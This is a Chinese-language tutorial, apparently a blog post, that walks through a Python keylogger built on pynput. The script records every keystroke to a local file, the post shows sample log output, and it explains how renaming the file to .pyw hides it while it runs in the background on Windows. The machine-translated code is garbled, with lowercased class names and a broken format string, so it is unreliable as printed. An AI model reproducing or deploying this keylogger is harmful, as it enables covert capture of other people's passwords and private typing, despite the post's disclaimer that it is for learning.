鍵盤記錄器用於捕獲計算機鍵盤輸入的擊鍵。 我們將使用 python 構建乙個鍵盤記錄器。
我聽說現在很流行完全更改鍵盤記錄器**
from pynput.keyboard import key, listener
import logging
logging.basicconfig(filename=("keylog.txt"), level=logging.debug, format=" %(asctime)s - message)s")
def on_press(key):
logging.info(str(key))
with listener(on_press=on_press) as listener :
listener.join()
程式執行後,將在當前目錄中建立乙個新的檔案鍵盤日誌txt。鍵盤的鍵盤記錄記錄在檔案中。 下面是乙個示例:
2023-12-13 08:21:04,213 - 'a'
2023-12-13 08:21:04,400 - 'b'
2023-12-13 08:21:04,650 - 'c'
2023-12-13 08:21:06,134 - key.enter
在開始之前,我們需要安裝乙個特定的庫 pynput,這是乙個跨平台的第三方 python 庫,可以監聽和操作滑鼠和鍵盤,我們可以使用 pip 命令來做到這一點pip install pynput
from pynput.keyboard import key, listener
import logging
匯入所需的模組。 日誌記錄模組可以幫助我們非常靈活地記錄資訊。
logging.basicconfig(filename=("keylog.txt"), level=logging.debug, format=" %(asctime)s - message)s")
配置日誌記錄引數。 指定將擊鍵日誌記錄儲存到鍵盤日誌中txt,指定儲存格式:yy-mm-dd hh-mm-ss(ms) -key
def on_press(key):
logging.info(str(key))
自定義函式接受使用者按下的鍵,並在將其轉換為字串後將其記錄到檔案中。
with listener(on_press=on_press) as listener :
listener.join()
建立偵聽器的例項,記錄擊鍵,並將自定義函式作為引數傳遞。 用join() 方法。 每次按下某個鍵時,都會觸發偵聽器,呼叫自定義函式,並將擊鍵記錄到檔案中。
在 Windows 上,只需將檔案副檔名新增到 .py 重新命名為 .pyw,然後雙擊該檔案在後台執行,而不彈出 python 終端。
我們編寫了乙個簡短有效的python鍵盤記錄器來記錄擊鍵,目的是學習習 python,請不要將其用於惡意目的。
建立文章並不容易,如果您喜歡這篇文章,請關注、點讚並與您的朋友分享。 如果您有意見和建議,請在評論中給我們反饋。